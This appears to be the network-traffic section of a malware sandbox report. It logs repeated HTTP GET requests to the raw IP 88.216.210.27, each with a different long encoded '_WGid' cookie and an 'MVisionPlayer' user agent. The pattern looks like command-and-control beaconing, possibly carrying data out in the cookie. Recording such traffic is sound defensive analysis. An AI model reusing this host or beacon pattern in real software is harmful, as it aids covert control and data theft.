Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=m9AX5MATd6MRJ7jlogb5hGGslI_2l1e-DJ--KTT8juO452CUiUuR82Paaj4nLfeLc7kS6Zj8ytpYqRC5jXw7vz0O2wHxbQJaEcpLvMeHiIIPzBG_q3a7kdmo6QGzoFHOX1aUb9N-f78pKjMQljzTPwheluJJwGwyW8hmyNYCFl2u5A9JUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=2cBAvYIDIPpTN--84Bau3SO8w9a0hwDnTo_pcHbs2br69zfNy1vGqiHKPWdlPaDSMalFsNrsnYMauUfgz2xs5n8ejFizfVUDU9oc5YWX39tN3Ebm6WbsyJu4vljxsAaXHUbDNpFuKOZrOmRJ1CyEZkpOwbsL0DtrGdgxkZQSQQTs9FgQUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=BcPh814AgbSPNE7yPBUPk_-_YphohKGpkoxIPqrvePQm9JaDF1hn5P3JnCm5PgGc7ark_gbvPM3GuuauE2_NqKMdLRZvfvRNj9m9q1mUfpWR3-eoNWVNhke7HxYts6fZwUVieE1tiai3OcUHCC8lKJZNYPXX05olxduQ30gR4Eow9_leUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=vvfCi-U0osw0AG2KhyEs60SLQeDTsILRKbhrRhHbW4ydwLX7rGxEnEb9v1ECCiLkVp7Hhr3bH7V9jsXWqFvu0BgpDm7UStc1NO2e0-KgXe0q68TQjlFu_vyPPG6Wh4ShenFBAPZZqtAMDeZ_sxsGUC15Q41s57ldfu-zp_MlwzKLw9omUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=47dWvbh0NvppQPm82mG43RnL1daO8BbndPj_cEybz7rAgCHN8SzQqhu9K2dfSrbSC95TsOCbi4MgzlHg9Rt65kVpmliJCkMDaa0K5b_gydt3q1Dm0xH6yKHPqFjLxxCXJzHVNqsZPuZRTXJJ7luSZnA517sxpy1rI68nka5lVwTWg04QUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=6XvE-LK4pL9jjGv50K0qmBMHR5OEPISifjRtNUZXXf_KTLOI--BC7xFxuSJVhiSXARLB9epXGcYqAsOl_9foo0-lCB2DxtFGY2GYoLUsW559Z8Kj2d1ojasDOh3BC4LSLf1Hc6HVrKNbgeAM5JcAI3r1Rf47a78uKWO11KSpxUHcT9xVUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=JKmrX39qyxiuXgReHX9FP97VKDRJ7usFs-YCkouFMlgHntwvNjItSNyj1oWYVEswzMCuUieFdmHn0KwCMgWHBIJ3Z7pOFL7hrrP3B3j-NDmwta0EFA8HKmbRVboM2e114C8o1GwHwwSWU4-rKUVvhLcnKln2udCJ5LHac2l7quYRnbPyUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=4kWdULmG_RdosjJR25NzMBg5HjuPAt0KdQo0nU1pBFfBcuog8N4bRxpP4IpeuH0_CiyYXeFpQG4hPJoN9OmxC0SbUbWI-IjuaF_BCL4SAjZ2WZsL0uMxJaA9Y7XKNdt6JsMe26rr9QtQv7mk76lZi3HLHFYwVeaGIl3sfK-XnOnXcYX9User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=Hfr7wEY5m4eXDVTBJCwVoOeGeKtwvbuairVSDbLWYsc-zYywD2F91-XwhhqhBxuv9ZP-zR7WJv7eg_ydC1bXm7skNyV3R-5-l-CnmEGtZKaJ5v2bLVxXtV-CBSU1ir3q2Xx4S1VUk5uvAN80EBY_G450esbP6oAW3eKK7FAo-nkozuNtUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=VvAckQ0zfNbcB7OQbyby8ayMn_o7t1zLwb-1XPnchZZ1x2vhRGuahq76YUvqDfz-vpkZnFXcwa-ViRvMQFwwyvAu0HQ8TQkv3OpAyQqng_fC7BrKZlaw5BSI4nR-gFq7knafGh5edMrkCjhlWxzYSsV-nZeE4GdHluhtvRsiHShjxAQ8User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=4cXtY7oGjSRrMkJi2BMDAxu5bgiMgq05dopErk7pdGTC8poT815rdBnPkLldOA0MCazobuLpMF0ivOo-92nBOEcbIYaLePjda9-xO72ScgV12es40WNBFqO9E4bJtatJJUNu6KlrhThTP8mX7CkpuHJLbGUz1Za1Id2cT6wX7NrU8fXOUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=QiN5KBngGW_I1NYpe_WXSLhf-kMvZDly1WzQ5e0P4C9hFA5YULj_P7opBPL-3plHqkp8JUEPpBaBWn51VI9Vc-T9tc0onmyWyDklcB505k7WP39zcoXVXQBbh81qUz8ChqX6owqNEXPw2V3cT8-989Gt-C6QMwL-gjsIBA_xeJF3F2GFUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=K-QNLHAnbWuhE6ItEjLjTNGYjkdGo012vKuk4YTIlCsI03pcOX-LO9PucPaXGe1Dw40IISjI0BLonQpxPUghd406wclBWRiSof5RdHezkkq_-At3G0KhWWmc88kDlEsG72KOp2NKZXeZHinYJgjJ97hqjCr59Hb66_x8AGY2DJUe0BWBUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=oY0nAfpOR0YreogAmFvJYVvxpGrMymdbNsKOzA6hvgaCulBxsxahFlmHWtsdcMduSeQiDKKh-j9i9CBctyELWgdT6-TLMDK_K5d7Wf3auGc1kSFakSuLdOP12eSJ_WErZQukiukjT1oTdwP1rGHj2jIDpgdznVzXYZVWLexfJriUuT-sUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=_VuDt6aY4_B3rCy2xI1t1wcnANyQHMPtahQqelJ3GrDebPTH78AFoAVR_m1BpmPYFTKGuv53Xok-IoTq6_ev7FuFT1KX5pYJd0Hf76EMHNFpR4Xszf0vwr8jfVLVK8WdOd0APLX16-xPoadD8LdHbG7VArEvS_hhPUPym7CJgg7Ib5saUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=B1M8ilyQXM2NpJOLPoXS6v0vv-FqFHzQkByVR6h_pY0kZEv6Fci6nf9ZQVC7rtzl7zo5hwR_4bTEKjvXEf8Q0aGN8G9t7ik0jUlg0lsEo-yTTzrRN_WQ_0Urwm8vI3qgw9W_AU_9VNG1qRh-Cr_4UZTdvYzVQ0dcx0tNpkqBPTMyZyQnUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=5kNigb2AAsZstM2A35WM4Rw_4eqLBCLbcQzLTElv-4bFdBXx9Njklh5JH1tavoLuDipnjOVvv78lOmXc8O9O2kCdrmSM_nc_bFk-2boU_edyX2Ta1uXO9KQ7nGTOMySrIsXhCq7tCtpUuUZ166-mWnXN44c0UxlXJlsTrauRYzjTd3osUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=wbK8ippx3M1LRROL-GRS6jvOP-Gs9fzQVv0VR26eJY3ihcv60yk6nTm4wVB9T1zlKdu5h8KeYbQCy7vX1x6Q0WdscG-rD6k0S6jg0p3lI-xVrrrR8RQQ_4PKQm_pwvqgBTQ_AYkc1NFzSJh-zF54UVI8PYwTosdcAarNpoxgvTP0hqQnUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=hjhzrt37E-kMz9yvv-6dznxE8MXrfzP0EXfaYykU6qmlDwTelKP1uX4yDnQ6xZPBblF2o4UUrpBFQXTzkJRf9SDmv0vshWYQDCIv9tpv7MgSJHX1tp7f28RAjUuuSDWEQr7wJc6WG_U0wldai9S3dRW28qhUKAh4RiACgsvqchezDGsDUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=qi9uTPHsDgsg2MFNk_mALFBT7SfHaC4WPWDHgQUD90uJGBk8uLToW1IlE5YW0o4jQkZrQakDs3JpVmkRvINCFwzxoqnAknvyIDUyFPZ48So-M2gXmonCOehXkKmCXyhmbqntx-KBBhcY1Uq4p8Oqlzmh70p4PxWaajcfYOf9b_WfG3bhUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=rDHxB_fykUAmxl4GlecfZ1ZNcmzBdrFdO35YygMdaACPBoZ3vqp3EFQ7jN0QzBFoRFj0Cq8dLDlvSPZaup3dXArvPeLGjOS5JiutX_BmbmE4LfdcnJddcu5JD-KEQbctaLdyjOSfmVwey9Xzod013D-_cAF-IYrRbCmAK-Hj8L6ZBemqUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=4y3vs7juj_Rp2kCy2vsB0xlRbNiOaq_pdGJGfkwBdrTAGpjD8bZppBsnkmlf0A_cC0TqvuABMo0gVOju9YHD6EXzI1aJkPoNaTez6796cNV3Meno04tDxqFVEVbLXamZJ6tsOKuDh-hR18tH7sEraHCjbrUxPZRlIzWen67_7grWGfceUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=9VQvTa6XTwp_o4BMzILBLQ8orCaYE28XYhuGgFp4tkrWY1g958-pWg1eUpdJqc8iHT0qQPZ48nM2LSgQ4_gDFlOK46if6Trzf05zFakDsCthSCkWxfKDOLcs0ajdJGlnMdKsxr36RxZHrgu5-LjrlmbarksnRFSbNUxeYbiGLvTAYDfgUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=sdaLaeoV6y47ISRoiABlCUuqCALckcszJpkipB76Em6S4fwZo00Nfknc9rMNK2sGWb-OZLL6Vldyr4w0p3qnMhcIR4zba57XO8zXMe2BFA8lyo0ygXAnHPOudYyZps1DdVAI4vl44zIDLK-dvDpPsiJYCm9jxvC_cc76RfwEitCE4pPEUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=58cD_7wEY7htMKz-3hHtnx27gJSKgEOlcIiqMkjrmvjE8HSP9VyF6B_NfiVbOuOQD64G8uTr3sEkvgSi8WsvpEEZzxqNehZBbd1fp7uQnJlz2wWk12GviqW__RrPt0XVI0GAdK9pa6RVPScL6ivHJHRJgvk113gpJ99y06oVAkbS8xtSUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=vKkMkudqbNU2XqOThX_i8kbVj_nR7kzIK-alXxOFlZWfnnvirjKKhUSjcUgAVOz9VMAJn7-F0ax_0AvPqgUgyRp3wHfWFBksNrNQyuD-k_QotQrJjA-g5_7R8neU2Uq4eC-PGfQHZMkOUyhmsUXISS8njZRuuXdEfLF9vvF7DSuJnRQ_User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=WiTjrAHng-vQ00ytY_INzKBYYMc3Y6P2zWtKYfUIeqt5E5TcSL9lu6Iunnbm2QPDsk3moVkIPpKZXeTxTIjP9_z6L0kwmfYS0D6_9AZzfMrOOOX3aoJP2RhcHUlyVKWGnqJgJxKKi_fo3sdYV8gnd8mqYqqINJh6mjySgBf24hVvEPsBUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=vCrvTefpjwo23UBMhfwBLUZWbCbRba8XK2VGgBMGdkqfHZg9rrFpWkQgkpcA1w8iVEPqQL8GMnN_U-gQqobDFhr0I6jWl_rzNjCzFeB9cCsoNukWjIxDOP5SEaiUWqlneKxsxvSEhxYO0Mu5scYrli-kbktuOpSbfDKeYfH47vSJHvfgUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=JT3SV37-shCvyn1WHOs8N99BUTxIepINsnJ7mooRS1AGCqUnN6ZUQN03r42ZwDI4zVTXWiYRD2nmRNUKM5H-DIPjHrJPgMfpryeOD3lqTTGxIdQMFZt-ImdFLLINTZR94btR3G2TugyXx_ajKNEWjLazU1H3LamB5SWje2jv0-4QCcr6User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=XxisEATbzFfV7wMRZs5CcKVkL3syX-xKyFcF3fA0NRd8L9tgTYMqB6cS0crj5Ux_t3GpHVw0cS6cYatNSbSAS_nGYPU1pbmu1QLwSANPM3bLBKpLb74AZR1gUvV3aOo6m54vmxe2xEvt4ojkUvRoy8yWLRaNCNfGnwDdPBLKralqLLS9User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=e4PiVSBAghLxdE1UQlUMNYH_YT4WxKIP7MxLmNSve1JYtJUlaRhkQoOJn4_HfgI6k-rnWHivP2u4-uUIbS_ODt1dLrARPvfr8Zm-DSfUfTPvn-QOSyVOIDn7HLBT86R_vwVh3jMtig7Jecahdm8mjugNY1Opk5mDu5uTeTZR4-xOt_r4User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=jSWUkNbm9NcH0juRtPN68HdZF_vgYtTKGmo9XSIJDZeuEuPgn74Sh3Uv6Uox2HT_ZUyRnY4JSa5OXJPNm4m4yyv7WHXnmIEuBz_IyNFyC_YZOZLLvYM45c9danWlVdK6SaMXG8WL_Ms_37BkgMlQSx6rFZZfNe9GTT3lvMD3lSm4EYw9User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=p4PoP_xAiHgtdEc-nlUGX13_a1TKxKhlMMxB8givcTiEtJ9PtRhuKF-JleUbfghQT-rtMqSvNQFk-u9isS_EZAFdJNrNPv2BLZm0Z_vUd1kzn-5klyVESuX7FtqP864VYwVrtO8tgGQVeczLqm8s5DQNaTl1k5PpZ5uZE-pR6YaSt_CSUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=wXhlEZq7BVZLj8oQ-K6LcTsE5nqsPyVLVjfM3G5U_BbiTxJh0-PjBjlyGMt9hYV-KRFgHMJUuC8CAWJM19RJSmemqfSrxXCvS2I5SZ0v-ndVZGNK8d7JZIMAm_TpCCM7Bf7mmonWDUpzgkHlzJShylL25BcTaB7HAWAUPYyqZKj0TH28User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=y5G7l5BS29BBZhSW8kdV9zHtOPym1vvNXN4SWmS9IpDopszn2Qo9gDObxk13bFv4I_i-msi9ZqkI6LzK3T2XzG1Pd3KhLK4pQYvnz5fGJPFfjb3M-zcX4onpRXLj4f29Dxc4HIM_08x5a59jxn1_TFgfOpEZgcBBC4nKu4ZDui7-paM6User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=KN_WUnMcthWiKHlTEQk4MtKjVTlFmJYIv5B_n4fzT1UL6KEiOkRQRdDVq4iUIjY9wLbTXyvzC2zrptEPPnP6CY4BGrdCYsPsosWKCnSISTS8w9AJGHl6J2qnKLcAr5B47FlV2WBxvgmaJfKmJTMSibtRV1T6z62E6MenfmUN1-sd687_User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=WMs_ugMIX_3SPJC7YR3R2qK3vNE1jH_gz4SWd_fnpr17_EjKSlC5raDBQmDkNt_VsKI6t1vn4oSbsjjnTmcT4f4V818ydioE0tFj4gScoNzM1znhaG2TzxqzwV9wu3mQnE28MRBlV-HqMRtOVSf7YctFvryK20RsmNNOlhUZPgNt_ycXUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=iOS7ktMn29UCExSTsTJV8nKYOPnlo_vIH6sSXyfIIpWr08zimn89hXDuxkg0GVv9YI2-n4vIZqxLnbzPnkiXyS46d3fiWa4sAv7nytSzJPQc-L3JuEIX58qcRXeglP24TGI4GcBK08k6Hp9mhQh_SRtqOpRa9MBESPzKvsU2uiu90KM_User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
